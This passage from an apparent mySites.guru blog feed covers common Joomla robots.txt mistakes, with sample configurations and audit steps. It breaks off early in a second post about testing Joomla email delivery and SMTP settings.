&lt;p&gt;You&apos;d think the Joomla project&apos;s own website would have a clean robots.txt. It doesn&apos;t. As of March 2026, &lt;a href=&quot;https://www.joomla.org/robots.txt&quot;&gt;joomla.org&apos;s robots.txt&lt;/a&gt; blocks both &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /media/
Disallow: /templates/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To work around this, whoever configured it added a series of Allow rules for specific file extensions using wildcard patterns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Allow: /*.js***************
Allow: /*.css**************
Allow: /*.png**************
Allow: /*.jpg**************
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Those long chains of asterisks are unnecessary (a single &lt;code&gt;*&lt;/code&gt; does the same thing), and the whole approach is backwards. Instead of blocking entire directories and then trying to selectively allow file types back in, the correct approach is to simply not block &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt; in the first place. The joomla.org robots.txt also blocks &lt;code&gt;/components/&lt;/code&gt;, &lt;code&gt;/modules/&lt;/code&gt;, and &lt;code&gt;/plugins/&lt;/code&gt;, which can prevent crawlers from accessing frontend assets served by extensions.&lt;/p&gt;
&lt;p&gt;Another example: &lt;a href=&quot;https://www.akeeba.com/robots.txt&quot;&gt;akeeba.com&apos;s robots.txt&lt;/a&gt; has a commented-out Disallow for &lt;code&gt;/images/&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#Disallow: /images/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Someone clearly realised that blocking &lt;code&gt;/images/&lt;/code&gt; was a bad idea and commented it out rather than removing the line. But the file still blocks &lt;code&gt;/components/&lt;/code&gt; and &lt;code&gt;/plugins/&lt;/code&gt;, and it has no &lt;code&gt;Sitemap&lt;/code&gt; directive. It&apos;s also missing any &lt;code&gt;Allow&lt;/code&gt; rules for &lt;code&gt;/media/&lt;/code&gt; or &lt;code&gt;/templates/&lt;/code&gt;, though at least those aren&apos;t explicitly blocked either.&lt;/p&gt;
&lt;p&gt;These are prominent Joomla community sites maintained by experienced developers. If they can get this wrong, it&apos;s a safe bet that plenty of smaller sites have similar or worse configurations sitting unreviewed.&lt;/p&gt;
&lt;h2&gt;What Are the Five Most Common robots.txt Mistakes on Joomla Sites?&lt;/h2&gt;
&lt;p&gt;After analysing robots.txt configurations across thousands of Joomla sites through mySites.guru, these are the mistakes I see again and again.&lt;/p&gt;
&lt;h3&gt;1. Blocking /media/ and /templates/&lt;/h3&gt;
&lt;p&gt;This is the big one. As covered above, blocking these folders prevents Google from accessing your images, stylesheets, and scripts. The impact hits two areas:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Image SEO is dead.&lt;/strong&gt; If Google can&apos;t crawl your &lt;code&gt;/media/&lt;/code&gt; folder, your images won&apos;t appear in Google Image Search. For many sites, image search is a significant traffic source. Product images, portfolio photos, infographics, all invisible to Google.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Page rendering fails.&lt;/strong&gt; Google renders pages using a headless Chromium browser to assess layout, content visibility, and user experience. If it can&apos;t load your CSS and JavaScript, it sees a broken, unstyled page. That affects your Core Web Vitals scores and can hurt your rankings.&lt;/p&gt;
&lt;p&gt;You can verify this yourself. Open Google Search Console, go to the URL Inspection tool, and click &quot;Test Live URL.&quot; Then look at the rendered screenshot. If your page appears unstyled or broken, robots.txt blocking is a likely culprit.&lt;/p&gt;
&lt;h3&gt;2. No Sitemap directive&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;Sitemap&lt;/code&gt; line in robots.txt is one of the simplest SEO wins available, and most Joomla sites don&apos;t have it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This line tells every search engine that visits your &lt;code&gt;robots.txt&lt;/code&gt; exactly where to find your XML sitemap. Without it, crawlers rely on you manually submitting your sitemap through Google Search Console, Bing Webmaster Tools, and every other search engine&apos;s webmaster interface.&lt;/p&gt;
&lt;p&gt;With the &lt;code&gt;Sitemap&lt;/code&gt; directive, any crawler that reads your &lt;code&gt;robots.txt&lt;/code&gt; (Google, Bing, Yandex, DuckDuckGo, and others) automatically discovers your sitemap. One line, all search engines covered.&lt;/p&gt;
&lt;p&gt;If you&apos;re using a Joomla sitemap extension (and you should be), add the sitemap URL to your &lt;code&gt;robots.txt&lt;/code&gt;. If you&apos;re running multiple sitemaps or a sitemap index, you can add multiple lines:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Sitemap: https://example.com/sitemap.xml
Sitemap: https://example.com/sitemap-images.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Blocking /images/ and /components/&lt;/h3&gt;
&lt;p&gt;Some Joomla &lt;code&gt;robots.txt&lt;/code&gt; files block the &lt;code&gt;/images/&lt;/code&gt; directory. This is where Joomla&apos;s built-in media manager stores uploads by default (alongside &lt;code&gt;/media/&lt;/code&gt;). Blocking it has the same effect as blocking &lt;code&gt;/media/&lt;/code&gt;, and your uploaded content becomes invisible to search engines.&lt;/p&gt;
&lt;p&gt;I also see sites blocking &lt;code&gt;/components/&lt;/code&gt;, which contains the frontend output of Joomla components. If a component generates pages, images, or downloadable files through its own routes, blocking &lt;code&gt;/components/&lt;/code&gt; can prevent those from being indexed.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Don&apos;t do this
Disallow: /images/
Disallow: /components/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4. Overly broad wildcard rules&lt;/h3&gt;
&lt;p&gt;Some administrators add wildcard rules that accidentally block more than intended:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# This blocks everything starting with /t - including /templates/ AND /terms-of-service/
Disallow: /t
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Robots.txt patterns are matched by simple substring comparison from the start of the URL path. &lt;code&gt;Disallow: /t&lt;/code&gt; doesn&apos;t just block &lt;code&gt;/tmp/&lt;/code&gt;. It blocks every URL that starts with &lt;code&gt;/t&lt;/code&gt;, including valid content pages.&lt;/p&gt;
&lt;p&gt;The correct approach is to be specific and include trailing slashes for directories:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disallow: /tmp/
Disallow: /cache/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5. Using the unchanged Joomla default&lt;/h3&gt;
&lt;p&gt;Even the current Joomla 5 default &lt;code&gt;robots.txt.dist&lt;/code&gt; is designed as a starting point, not a finished configuration. It covers the basics (blocking &lt;code&gt;/administrator/&lt;/code&gt;, &lt;code&gt;/api/&lt;/code&gt;, &lt;code&gt;/cache/&lt;/code&gt;, &lt;code&gt;/cli/&lt;/code&gt;, &lt;code&gt;/tmp/&lt;/code&gt;, and similar system directories) but it doesn&apos;t include a &lt;code&gt;Sitemap&lt;/code&gt; directive, and it may not reflect your specific site structure.&lt;/p&gt;
&lt;p&gt;If your Joomla site uses SEF URLs (which it should), has a blog section, runs an e-commerce component, or serves content in multiple languages, you likely need a customised &lt;code&gt;robots.txt&lt;/code&gt; that accounts for your URL patterns.&lt;/p&gt;
&lt;h2&gt;How Do You Manually Check Your Joomla robots.txt?&lt;/h2&gt;
&lt;p&gt;If you want to audit your &lt;code&gt;robots.txt&lt;/code&gt; by hand, here&apos;s the process.&lt;/p&gt;
&lt;h3&gt;Step 1: view the file&lt;/h3&gt;
&lt;p&gt;Open your browser and go to &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt;. You&apos;ll see the raw text contents of the file. If you get a 404, your site doesn&apos;t have a &lt;code&gt;robots.txt&lt;/code&gt; file at all, which is a different problem (more on that later).&lt;/p&gt;
&lt;h3&gt;Step 2: look for red flags&lt;/h3&gt;
&lt;p&gt;Scan for these specific issues:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /media/&lt;/code&gt;&lt;/strong&gt; - blocking your media assets from crawlers&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /templates/&lt;/code&gt;&lt;/strong&gt; - blocking your template CSS, JS, and images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /images/&lt;/code&gt;&lt;/strong&gt; - blocking uploaded images&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No &lt;code&gt;Sitemap:&lt;/code&gt; line&lt;/strong&gt; - missing sitemap reference&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;Disallow: /&lt;/code&gt;&lt;/strong&gt; - blocking your entire site (yes, I&apos;ve seen this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Broad patterns without trailing slashes&lt;/strong&gt; - like &lt;code&gt;Disallow: /t&lt;/code&gt; instead of &lt;code&gt;Disallow: /tmp/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 3: test with Google Search Console&lt;/h3&gt;
&lt;p&gt;Google provides a robots.txt testing tool in Search Console. Submit your robots.txt content along with URLs you want to test, and it will tell you which URLs are blocked and which are allowed.&lt;/p&gt;
&lt;p&gt;Go to &lt;a href=&quot;https://search.google.com/search-console/&quot;&gt;Google Search Console&lt;/a&gt;, select your property, and use the URL Inspection tool to check whether specific pages are indexable or blocked by robots.txt.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Subfolder installations need special handling&lt;/p&gt;
  &lt;p&gt;If your Joomla site is installed in a subfolder (e.g., &lt;code&gt;example.com/joomla/&lt;/code&gt;), the robots.txt file must be at the domain root (&lt;code&gt;example.com/robots.txt&lt;/code&gt;), and all paths must include the subfolder prefix: &lt;code&gt;Disallow: /joomla/administrator/&lt;/code&gt; instead of &lt;code&gt;Disallow: /administrator/&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;Step 4: compare against a recommended template&lt;/h3&gt;
&lt;p&gt;Here&apos;s a solid starting point for a Joomla 5 robots.txt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/
Allow: /media/
Allow: /templates/
Allow: /images/

Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note the explicit &lt;code&gt;Allow&lt;/code&gt; lines for &lt;code&gt;/media/&lt;/code&gt;, &lt;code&gt;/templates/&lt;/code&gt;, and &lt;code&gt;/images/&lt;/code&gt;. While an &lt;code&gt;Allow&lt;/code&gt; isn&apos;t strictly necessary if those paths aren&apos;t blocked, including them makes your intent clear and protects against future confusion if someone adds a broader rule later.&lt;/p&gt;
&lt;h2&gt;What about WordPress?&lt;/h2&gt;
&lt;p&gt;While this post focuses on Joomla, WordPress sites have their own robots.txt pitfalls. WordPress dynamically generates a virtual &lt;code&gt;robots.txt&lt;/code&gt; if no physical file exists, which is actually a reasonable default. But many WordPress users create physical &lt;code&gt;robots.txt&lt;/code&gt; files with overly restrictive rules, often blocking &lt;code&gt;/wp-content/uploads/&lt;/code&gt; (where all media uploads live) or &lt;code&gt;/wp-content/themes/&lt;/code&gt; (where template assets live).&lt;/p&gt;
&lt;p&gt;mySites.guru checks robots.txt on WordPress sites too. The same &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; process flags blocked asset directories regardless of which CMS you&apos;re running.&lt;/p&gt;
&lt;h2&gt;What Does Blocking Media Folders Actually Cost You?&lt;/h2&gt;
&lt;p&gt;The consequences go beyond missing images. When your robots.txt blocks &lt;code&gt;/media/&lt;/code&gt; and &lt;code&gt;/templates/&lt;/code&gt;, you lose Google Image Search traffic entirely - every product photo, portfolio image, and infographic becomes invisible. Your &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse scores&lt;/a&gt; drop because Google&apos;s rendering engine can&apos;t load your CSS or JavaScript, so it sees a broken page and your Core Web Vitals suffer. Rich results (snippets, knowledge panels) disappear because Google can&apos;t render the page content needed to generate them. And since Google uses mobile-first indexing, a blocked &lt;code&gt;/templates/&lt;/code&gt; folder means the smartphone crawler sees an unresponsive layout, which is what gets used for ranking.&lt;/p&gt;
&lt;h2&gt;What Other robots.txt SEO Checks Should You Run?&lt;/h2&gt;
&lt;p&gt;A thorough robots.txt audit goes beyond just checking for blocked media folders. Here are additional things to verify:&lt;/p&gt;
&lt;h3&gt;Crawl budget efficiency&lt;/h3&gt;
&lt;p&gt;Large Joomla sites with thousands of pages need to manage their crawl budget, the number of pages Google will crawl on your site in a given time period. Your robots.txt should block:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/administrator/&lt;/code&gt; - Google doesn&apos;t need your admin panel&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cache/&lt;/code&gt; - temporary cached files&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tmp/&lt;/code&gt; - temporary upload directory&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/cli/&lt;/code&gt; - command-line scripts&lt;/li&gt;
&lt;li&gt;URL parameters that create duplicate content (e.g., print views, sort parameters)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Multiple User-agent blocks&lt;/h3&gt;
&lt;p&gt;If you want different rules for different crawlers (e.g., blocking a specific AI crawler but allowing Googlebot), you can use multiple User-agent blocks:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-agent: *
Disallow: /administrator/

User-agent: GPTBot
Disallow: /

User-agent: Googlebot
Allow: /
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;More specific User-agent blocks take precedence for the matching crawler. Googlebot will follow the Googlebot-specific rules and ignore the &lt;code&gt;*&lt;/code&gt; wildcard block.&lt;/p&gt;
&lt;h3&gt;Monitoring for changes&lt;/h3&gt;
&lt;p&gt;Your robots.txt should be treated as a living configuration file. Changes to your site structure, new extensions, URL rewrites, and CMS updates can all affect what should be in it. mySites.guru&apos;s trend tracking flags when your robots.txt changes between snapshots, so you&apos;ll know immediately if a plugin, an update, or a well-meaning colleague modified the file.&lt;/p&gt;
&lt;h2&gt;What Does a Good robots.txt Look Like for Joomla 5?&lt;/h2&gt;
&lt;p&gt;Based on the patterns we see across thousands of sites, here is a solid, production-ready robots.txt for a standard Joomla 5 installation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# robots.txt for Joomla 5
# Generated for: example.com
# Last updated: 2026-03-06

User-agent: *

# Block admin and system directories
Disallow: /administrator/
Disallow: /api/
Disallow: /cache/
Disallow: /cli/
Disallow: /libraries/
Disallow: /tmp/
Disallow: /layouts/

# Explicitly allow asset directories
Allow: /media/
Allow: /templates/
Allow: /images/
Allow: /plugins/

# Block common parameter-based duplicate content
Disallow: /*?format=feed
Disallow: /*?start=
Disallow: /*?print=

# Sitemap location
Sitemap: https://example.com/sitemap.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Adjust the blocked parameter patterns to match your site&apos;s URL structure. If you use a specific sitemap extension, make sure the sitemap URL matches what the extension generates.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Test before you deploy&lt;/p&gt;
  &lt;p&gt;Always test your robots.txt changes using Google Search Console&apos;s URL Inspection tool before deploying them to production. A mistake in robots.txt can deindex your entire site within days.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How Do You Fix a Broken robots.txt on Joomla?&lt;/h2&gt;
&lt;p&gt;If your audit reveals problems, here&apos;s how to fix them:&lt;/p&gt;
&lt;h3&gt;Option 1: fix it through mySites.guru (fastest)&lt;/h3&gt;
&lt;p&gt;If your site is connected to mySites.guru, navigate to the Joomla Configuration section of the snapshot results and find the &quot;Media &amp;amp; Template&quot; check. Click &quot;Investigate&quot; to see the one-click fix button, or use mySites.guru&apos;s built-in robots.txt file editor to make more detailed changes. Either way, mySites.guru saves the updated file directly to your site. Run a new snapshot afterwards to confirm the fix.&lt;/p&gt;
&lt;h3&gt;Option 2: edit the file via FTP/SFTP&lt;/h3&gt;
&lt;p&gt;Connect to your site via FTP or SFTP, navigate to the root directory (the same level as your &lt;code&gt;index.php&lt;/code&gt;), and open &lt;code&gt;robots.txt&lt;/code&gt; in a text editor. Make your changes, save, and upload.&lt;/p&gt;
&lt;h3&gt;Option 3: edit through your hosting control panel&lt;/h3&gt;
&lt;p&gt;Most hosting control panels (cPanel, Plesk, DirectAdmin) include a file manager where you can browse to the site root and edit &lt;code&gt;robots.txt&lt;/code&gt; directly in the browser. Some Joomla extensions also provide file editing capabilities, but Joomla itself has no built-in file editor.&lt;/p&gt;
&lt;h3&gt;After fixing&lt;/h3&gt;
&lt;p&gt;After updating your robots.txt:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt; in your browser to verify the changes&lt;/li&gt;
&lt;li&gt;Test in Google Search Console using the URL Inspection tool&lt;/li&gt;
&lt;li&gt;Request reindexing for any pages that were previously blocked&lt;/li&gt;
&lt;li&gt;Run a fresh mySites.guru snapshot to confirm the check now passes&lt;/li&gt;
&lt;li&gt;Monitor your Google Search Console coverage report over the next few weeks to see previously blocked pages get picked up&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Don&apos;t overlook the basics&lt;/h2&gt;
&lt;p&gt;It&apos;s easy to focus on the flashy parts of SEO (content strategy, backlinks, page speed optimisation) and overlook a misconfigured text file that&apos;s been quietly working against you for years. Your Joomla site&apos;s &lt;code&gt;robots.txt&lt;/code&gt; is one of the first things search engines read, and getting it wrong costs you traffic.&lt;/p&gt;
&lt;p&gt;If you&apos;re managing multiple sites, checking robots.txt manually across all of them isn&apos;t realistic. That&apos;s exactly why mySites.guru includes it as an automated snapshot check. Connect your sites with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;, and you&apos;ll know within minutes whether any of them have this problem.&lt;/p&gt;
&lt;p&gt;Check out the full list of &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; that mySites.guru offers for managing and monitoring your Joomla and WordPress sites at scale.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/intro&quot;&gt;Google&apos;s robots.txt specification&lt;/a&gt; - the authoritative reference for how Google interprets robots.txt directives&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/create-robots-txt&quot;&gt;Google Search Central: Create a robots.txt file&lt;/a&gt; - Google&apos;s practical guide to creating and testing robots.txt files&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Robots.txt_file&quot;&gt;Joomla Manual: robots.txt&lt;/a&gt; - Joomla&apos;s official documentation on robots.txt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9309&quot;&gt;RFC 9309: Robots Exclusion Protocol&lt;/a&gt; - the 2022 IETF standard formalising the robots.txt protocol&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/9012289&quot;&gt;Google Search Console URL Inspection&lt;/a&gt; - how to test whether your pages are blocked or indexable&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Configuration hygiene is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>seo</category><category>robots.txt</category><category>joomla</category><category>search engines</category><category>best practice</category><enclosure url="https://mysites.guru/_astro/how-to-check-joomla-robots-txt-seo.DfOopshy.png" length="0" type="image/png"/></item><item><title>How to Verify Your Joomla Site&apos;s Email Configuration Actually Works</title><link>https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</guid><description>Joomla and WordPress contact forms can silently fail. Check SMTP settings, test mail delivery, and catch email misconfigurations across all your sites.</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site sends emails every day. Contact form submissions, user registration confirmations, password resets, admin notifications. You probably assume it all just works.&lt;/p&gt;
&lt;p&gt;It might not be working at all. And the worst part: Joomla won&apos;t tell you when it stops.&lt;/p&gt;
&lt;p&gt;There&apos;s no warning banner. No error log entry (in most configurations). No dashboard alert. Your contact form will happily accept submissions, show the &quot;thank you&quot; message, and silently drop the email into a void. Your customer thinks they&apos;ve reached out. You think nobody&apos;s contacted you in weeks. Both of you are wrong.&lt;/p&gt;
&lt;p&gt;I&apos;ve seen agencies lose leads for months before someone finally called and said &quot;I submitted your form three times and never heard back.&quot; That&apos;s when you discover the hosting provider changed the SMTP port in January and nobody updated the Joomla configuration.&lt;/p&gt;
&lt;p&gt;The rest of this post covers Joomla&apos;s email system, the mistakes that break it most often, and how to stop relying on manual checks.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru automate email verification?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on your Joomla site, the very first thing it does is send a test email.&lt;/p&gt;
&lt;p&gt;The audit uses your site&apos;s own configured mail settings (whatever you&apos;ve set in Global Configuration) to send a short email to &lt;a href=&quot;https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/&quot;&gt;&lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt;&lt;/a&gt;. The &lt;code&gt;myjoomla.io&lt;/code&gt; domain is left over from the service&apos;s &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;original name&lt;/a&gt;, before WordPress support was added. The server receiving these emails isn&apos;t a traditional SMTP server. It&apos;s a lightweight PHP service that accepts the incoming email, converts it to JSON, and sends it back to the mySites.guru platform for processing.&lt;/p&gt;
&lt;p&gt;If the email arrives, your audit shows a green &quot;OK&quot; status for the Email Configuration check. If it doesn&apos;t arrive, you get a red &quot;Issue&quot; flag with a clear message: &lt;strong&gt;&quot;We never received an email we attempted to send back to us from your Joomla site.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is a real email delivery test, not a config check&lt;/p&gt;
  &lt;p&gt;mySites.guru doesn&apos;t just look at your settings and say &quot;these look right.&quot; It actually sends an email from your site and waits for it to arrive. If the email doesn&apos;t get through, neither would your contact form submissions or user notifications.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; put together a walkthrough of the email configuration check and the other Joomla Configuration audit results. Worth watching if you want to see what the audit output looks like in practice:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h3&gt;What happens when the test fails&lt;/h3&gt;
&lt;p&gt;A failed email test means your site cannot send email. Not just to the mySites.guru test address, but to anyone. The test uses the same mail settings and same code path that your contact forms, user registrations, and admin notifications use. If the test email fails, everything fails.&lt;/p&gt;
&lt;p&gt;The audit results page shows you exactly what was tested and links to documentation explaining what to check. You can also see the trend: whether email was working on the previous audit and has now broken, or whether it&apos;s been failing for a while.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/emailconfig&quot;&gt;pivot page&lt;/a&gt; shows the email configuration check result for every connected site on one screen. Sites with broken email show up immediately so you can fix them before anyone notices.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Scheduling regular email checks&lt;/h3&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run automatically on a daily, weekly, or custom schedule. Each audit includes the email test, so you get notified the moment email delivery breaks. No need to remember to test manually. No more discovering three months later that nobody&apos;s been receiving your contact form emails.&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt;, you can see email status alongside every other health indicator for all your sites in one view.&lt;/p&gt;
&lt;h3&gt;Detecting mass mailer scripts&lt;/h3&gt;
&lt;p&gt;A broken email configuration is one problem. A hacked site sending spam is a much bigger one.&lt;/p&gt;
&lt;p&gt;When attackers compromise a Joomla site, one of the most common things they do is plant PHP scripts that send mass emails. These scripts bypass Joomla&apos;s mail configuration entirely, using their own SMTP connections or calling &lt;code&gt;mail()&lt;/code&gt; directly. Your site becomes a spam relay without your knowledge.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit includes a dedicated &lt;strong&gt;Mass Mailers&lt;/strong&gt; check that scans your entire webspace for non-core PHP files containing email-sending code. It looks for calls to &lt;code&gt;mail()&lt;/code&gt;, &lt;code&gt;PHPMailer&lt;/code&gt;, &lt;code&gt;SwiftMailer&lt;/code&gt;, and other common patterns. Core Joomla files are excluded, so it only flags files that shouldn&apos;t be there.&lt;/p&gt;
&lt;p&gt;If the check finds something, you&apos;ll see a red &quot;Mailers&quot; label with the count of suspicious files. You can drill into the tool to see exactly which files were flagged and inspect their contents. The same audit also runs full &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack detection&lt;/a&gt;, scanning every line of code in your webspace for malicious patterns, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files&lt;/a&gt; that a manual review would never catch.&lt;/p&gt;
&lt;h3&gt;WordPress sites get the same test&lt;/h3&gt;
&lt;p&gt;This isn&apos;t just a Joomla thing. mySites.guru runs the same email delivery test on WordPress sites too. The audit uses WordPress&apos;s &lt;code&gt;wp_mail()&lt;/code&gt; function to send a test message to the same &lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt; address. If your WordPress site relies on the default PHP &lt;code&gt;mail()&lt;/code&gt; function (which most do out of the box), the test will often fail because many hosts block it or the emails end up in spam.&lt;/p&gt;
&lt;p&gt;Most WordPress sites need an SMTP plugin like WP Mail SMTP, FluentSMTP, or Post SMTP to send email reliably. The mySites.guru email test catches the sites where that plugin is missing, misconfigured, or where the SMTP credentials have gone stale. The same scheduling, trend tracking, and mass mailer detection all apply to your &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;WordPress sites&lt;/a&gt; just as they do to Joomla.&lt;/p&gt;
&lt;p&gt;The same pivot page works for WordPress too. Switch to the WordPress Sites tab and you&apos;ll see the email check result for every WordPress site in your account:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;How does Joomla send email?&lt;/h2&gt;
&lt;p&gt;Before you can troubleshoot email, you need to understand the three ways Joomla can send it. Each one has different failure modes and different things that go wrong.&lt;/p&gt;
&lt;h3&gt;PHP Mail (the default)&lt;/h3&gt;
&lt;p&gt;When you install Joomla, the mailer is set to &lt;code&gt;PHP Mail&lt;/code&gt; by default. This uses PHP&apos;s built-in &lt;code&gt;mail()&lt;/code&gt; function, which hands the email off to whatever mail transfer agent (MTA) is configured on the server, usually Sendmail or Postfix.&lt;/p&gt;
&lt;p&gt;The problem with PHP Mail is that you&apos;re entirely dependent on the server&apos;s mail configuration. You have no control over authentication, no encryption, and no visibility into whether the email was actually accepted. Many shared hosting providers disable &lt;code&gt;mail()&lt;/code&gt; entirely. When they do, Joomla silently fails. No error. No bounce. Nothing.&lt;/p&gt;
&lt;h3&gt;Sendmail&lt;/h3&gt;
&lt;p&gt;The Sendmail option lets you specify the path to the Sendmail binary on the server (default &lt;code&gt;/usr/sbin/sendmail&lt;/code&gt;). It shares all the same problems as PHP Mail: no authentication, no encryption, no delivery feedback. Don&apos;t use either option unless the server administrator has specifically configured the MTA to relay through an authenticated SMTP service.&lt;/p&gt;
&lt;h3&gt;SMTP (the right choice)&lt;/h3&gt;
&lt;p&gt;SMTP is the only option that gives you real control. You specify a mail server hostname, port, authentication credentials, and encryption method. Joomla connects directly to the SMTP server and hands off the email using a proper authenticated session.&lt;/p&gt;
&lt;p&gt;It&apos;s also the only method that gives you logging. With PHP Mail and Sendmail, emails leave the server and you have no visibility into whether they were accepted, bounced, or silently dropped. SMTP providers log every message, so you can see exactly what was sent, when, and whether it was delivered.&lt;/p&gt;
&lt;p&gt;This is what you should be using. Full stop.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;SMTP is not just for &quot;advanced users&quot;&lt;/p&gt;
  &lt;p&gt;Every Joomla site should use SMTP. PHP Mail and Sendmail are legacy options that offer no authentication, no encryption, and no delivery tracking. If your contact form matters to your business, configure SMTP properly.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What do Joomla&apos;s email settings mean?&lt;/h2&gt;
